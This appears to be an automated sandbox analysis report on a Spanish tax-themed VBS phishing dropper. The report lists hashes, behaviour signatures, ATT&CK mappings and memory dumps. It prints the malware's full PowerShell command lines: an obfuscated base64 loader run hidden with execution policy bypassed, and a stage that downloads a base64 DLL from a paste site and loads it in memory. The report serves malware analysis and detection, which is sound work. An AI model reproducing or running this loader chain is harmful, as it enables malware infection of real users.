3a649ff19adaa0be44bdb367250683c93a350edf38b7ffb9d86559749b854fbc

General

Target

Administración Tributaria pagos atrasados.vbs
Size

201KB
MD5

0b4dc1bb49165555906e0a54ba35c40c
SHA1

5cc413e6b260a6d12f8cd7f89f60864d6616185f
SHA256

3a649ff19adaa0be44bdb367250683c93a350edf38b7ffb9d86559749b854fbc
SHA512

8100fb1ad8a3106d3eaeb7425b6c748b347384e2b5209a131cad325a53f031e7f9a8e4960117d4e5f026bbf985682e9fce07899404e75a23b4ccb1dd6971596b
SSDEEP

96:dyYRYFYDC3HFYSx9AXnXwEUfK2AUB/0zfNEWUvGcZ1+AN1qHk:d9uaYHFYH3AdfK2RB/0zfHcZJ1qE

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pasteio.com/download/xBVTIS53dQcN

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 2004 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

1396 powershell.exe
2004 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1396 powershell.exe
Token: SeDebugPrivilege 2004 powershell.exe

flow	pid	process
4	2004	powershell.exe

pid	process
1396	powershell.exe
2004	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	2004	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 780 wrote to memory of 1396	780	WScript.exe	powershell.exe
PID 780 wrote to memory of 1396	780	WScript.exe	powershell.exe
PID 780 wrote to memory of 1396	780	WScript.exe	powershell.exe
PID 1396 wrote to memory of 2004	1396	powershell.exe	powershell.exe
PID 1396 wrote to memory of 2004	1396	powershell.exe	powershell.exe
PID 1396 wrote to memory of 2004	1396	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Administración Tributaria pagos atrasados.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:780

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwCvAL0AvgDkAK8ArwClAL0AJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHAAYQBzAHQAZQBpAG8ALgBjAG8AbQAvAGQAbwB3AG4AbABvAGEAZAAvAHgAQgBWAFQASQBTAD⌚⌚⌚AMwBkAFEAYwBOACcAKQApADsAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcATgB3AGcAbwB4AE0ALgBLAFAASgBhAE4AagAnACkALgBHAG⌚⌚⌚AdABNAG⌚⌚⌚AdABoAG8AZAAoACcA⌚⌚⌚ABVAGwARwBLAEEAJwApAC4ASQBuAHYAbwBrAG⌚⌚⌚AKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAMAAvAE⌚⌚⌚AdgAzAGQAMQAvAGQALwBlAG⌚⌚⌚ALgBlAHQAcwBhAHAALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwBkADMAdgBFAH⌚⌚⌚AawBLAGEARQBSAFQASgB1ACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('¯½¾ä¯¯¥½', 'C:\Users\Admin\AppData\Local\Temp\Administración Tributaria pagos atrasados.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\Administración Tributaria pagos atrasados.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://pasteio.com/download/xBVTIS53dQcN'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('0/Ev3d1/d/ee.etsap//:sptth' , $RodaCopy , 'd3vEukKaERTJu' ))"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2004

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
3ca34da11bde6b4a3f31cc8e5542154e

SHA1
9214c40dfa9f8813aa8849f2278a0e8c8ae65819

SHA256
91b8454b9b95b74053e8b8d02a46ff5ed150f8655968a5b8517158ba9a3a985a

SHA512
b9b0ae9b5f77911c9c6bc151ba95c88b02e7004a4fa7d820ef189fa8076cf354bc2e150951bc4c67c88e1f9b05e26fe93a8e503e8847d6e5049bbe6c0e590ca4

Download Submit
memory/780-54-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmp

Filesize
8KB

Download
memory/1396-66-0x000000000275B000-0x000000000277A000-memory.dmp

Filesize
124KB

Download
memory/1396-55-0x0000000000000000-mapping.dmp

Download
memory/1396-57-0x000007FEF41E0000-0x000007FEF4C03000-memory.dmp

Filesize
10.1MB

Download
memory/1396-58-0x000007FEF3680000-0x000007FEF41DD000-memory.dmp

Filesize
11.4MB

Download
memory/1396-59-0x0000000002754000-0x0000000002757000-memory.dmp

Filesize
12KB

Download
memory/1396-60-0x000000001B6F0000-0x000000001B9EF000-memory.dmp

Filesize
3.0MB

Download
memory/1396-73-0x000000000275B000-0x000000000277A000-memory.dmp

Filesize
124KB

Download
memory/1396-72-0x0000000002754000-0x0000000002757000-memory.dmp

Filesize
12KB

Download
memory/2004-64-0x000007FEF41E0000-0x000007FEF4C03000-memory.dmp

Filesize
10.1MB

Download
memory/2004-67-0x00000000029C4000-0x00000000029C7000-memory.dmp

Filesize
12KB

Download
memory/2004-68-0x000000001B6E0000-0x000000001B9DF000-memory.dmp

Filesize
3.0MB

Download
memory/2004-69-0x00000000029CB000-0x00000000029EA000-memory.dmp

Filesize
124KB

Download
memory/2004-70-0x00000000029C4000-0x00000000029C7000-memory.dmp

Filesize
12KB

Download
memory/2004-71-0x00000000029CB000-0x00000000029EA000-memory.dmp

Filesize
124KB

Download
memory/2004-65-0x000007FEF3680000-0x000007FEF41DD000-memory.dmp

Filesize
11.4MB

Download
memory/2004-61-0x0000000000000000-mapping.dmp

Download

Analysis

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